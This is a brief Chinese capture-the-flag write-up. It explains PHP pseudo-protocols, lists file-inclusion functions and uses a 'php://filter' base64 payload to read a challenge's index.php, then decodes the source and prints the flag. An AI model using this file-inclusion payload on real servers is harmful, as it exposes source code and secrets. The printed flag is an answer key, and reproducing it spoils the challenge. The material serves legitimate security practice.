感觉毫无头绪e一下，发现要使用伪协议
伪协议：是PHP自己支持的一种协议与封装协议，简单说就是PHP定义的一种特殊访问资源的方法。
2.什么时候用PHP伪协议?
可能遇到的文件包含函数：
1、include
2、require
3、include_once
4、require_once
5、highlight_file
6、show_source
7、flie
8、readfile
9、file_get_contents
10、file_put_contents
11、fopen (比较常见)
根据上述内容构造：
/file=php://filter/read=convert.base64-encode/resource=index.php
得到的内容变为base64编码
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NjY1ZWIxOGEtNTA4Ni00ZTUzLTk5YzEtNmE1N2YwZDVmMDgwfQo=
放入随波逐流一键解码
flag{665eb18a-5086-4e53-99c1-6a57f0d5f080}
参考文章：⭐️PHP伪协议详解-CSDN博客
、token、黑马就业数据平台(页面访问控制(token)、首页统计数据、登录状态失效)、axios请求及响应拦截器、Git远程仓库)
